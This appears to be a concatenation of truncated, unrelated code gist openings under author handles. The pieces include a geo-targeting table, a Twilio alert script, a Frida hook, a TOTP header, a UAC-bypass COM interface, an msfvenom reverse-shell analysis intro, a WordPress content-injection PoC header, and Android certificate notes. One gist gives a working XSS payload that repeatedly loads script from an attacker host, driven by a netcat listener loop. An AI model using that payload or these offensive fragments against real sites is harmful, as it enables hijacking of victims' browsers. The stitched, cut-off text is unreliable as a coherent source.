ominfowave

Criteria ID	Name	Canonical Name	Parent ID	Country Code	Target Type	Status	Uule parameter
1000002	Kabul	Kabul,Kabul,Afghanistan	9075393	AF	City	Active	w+CAIQICIXS2FidWwsS2FidWwsQWZnaGFuaXN0YW4
1000003	Luanda	Luanda,Luanda Province,Angola	9070431	AO	City	Active	w+CAIQICIdTHVhbmRhLEx1YW5kYSBQcm92aW5jZSxBbmdvbGE
1000004	The Valley	The Valley,Anguilla	2660	AI	City	Active	w+CAIQICITVGhlIFZhbGxleSxBbmd1aWxsYQ
1000010	Abu Dhabi	Abu Dhabi,Abu Dhabi,United Arab Emirates	9041082	AE	City	Active	w+CAIQICIoQWJ1IERoYWJpLEFidSBEaGFiaSxVbml0ZWQgQXJhYiBFbWlyYXRlcw
1000011	Ajman	Ajman,Ajman,United Arab Emirates	9047096	AE	City	Active	w+CAIQICIgQWptYW4sQWptYW4sVW5pdGVkIEFyYWIgRW1pcmF0ZXM
1000012	Al Ain	Al Ain,Abu Dhabi,United Arab Emirates	9041082	AE	City	Active	w+CAIQICIlQWwgQWluLEFidSBEaGFiaSxVbml0ZWQgQXJhYiBFbWlyYXRlcw
1000013	Dubai	Dubai,Dubai,United Arab Emirates	9041083	AE	City	Active	w+CAIQICIgRHViYWksRHViYWksVW5pdGVkIEFyYWIgRW1pcmF0ZXM
1000014	Ras Al-Khaimah	Ras Al-Khaimah,Ras al Khaimah,United Arab Emirates	9047098	AE	C

ihack4falafel

#!/usr/bin/python
#Python script that send your phone number a text as soon as Black Hat 2019 training goes live using Twilio
#The script can be coupled with cronjob that runs every hour or whatever you may see fit

from twilio.rest import Client
import requests

account_sid = '<your Twilio account SID>'
auth_token = '<your Twilio authentication token>'
client = Client(account_sid, auth_token)

virtualminds

{

  onEnter: function (log, args, state) {
    soname = Memory.readUtf8String(args[0]);
    if(soname.includes('libmono-btls-shared.so')) {
      log("libmono-btls-shared.so cargada!");
      this.dlopen = true;
      this.dlopenMonitor = false;

    }

rcoh

"""
An implementation of TOTP as described in https://tools.ietf.org/html/rfc6238#section-4 aka Google Authenticator Style 2-factor Auth
"""
import base64
import datetime
import hashlib
import hmac
import sys
import struct
import time

api0cradle

typedef interface ICMLuaUtil ICMLuaUtil;

typedef struct ICMLuaUtilVtbl {

    BEGIN_INTERFACE

        HRESULT(STDMETHODCALLTYPE *QueryInterface)(
            __RPC__in ICMLuaUtil * This,
            __RPC__in REFIID riid,
            _COM_Outptr_  void **ppvObject);

mgeeky

Looking for WaitForSingleObject call within modern msfvenom generated payload.

---

Abstract

This is a document explaining how to locate WaitForSingleObject(..., INFINITE) within msfvenom's (4.12.23-dev) generated payload and how to fix the payload's glitches. It goes through the analysis of a windows/shell_reverse_tcp payload, touching issues like stack alignment, WaitForSingleObject locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject.

Contents:

ivanvza

Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>

leonjza

# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/

dmpatel151282

1. Download latest apktool version.
2. Download the batch file and aapt.exe.
3. Create a folder anywhere in the PC and put all the apktool.jar, aapt.exe and the batch script in that folder.

4. Open command prompt.
5. Navigate to the folder where you placed apktool.jar, batch script and the aapt.exe.
6. Now, you need to install the file using the " IF " command.
7. Type the following command.

	apktool if name-of-the-app.apk

pwlin

https://code.google.com/p/android/issues/detail?id=32696#c5

If you have a certificate that is not
trusted by Android, when you add it, it goes in the personal cert store.
When you add a cert in this personal cert store, the system requires a
higher security level to unlock the device. But if you manage to add your
cert to the system store then you don't have this requirement. Obviously,
root is required to add a certificate to the system store, but it is quiet
easy.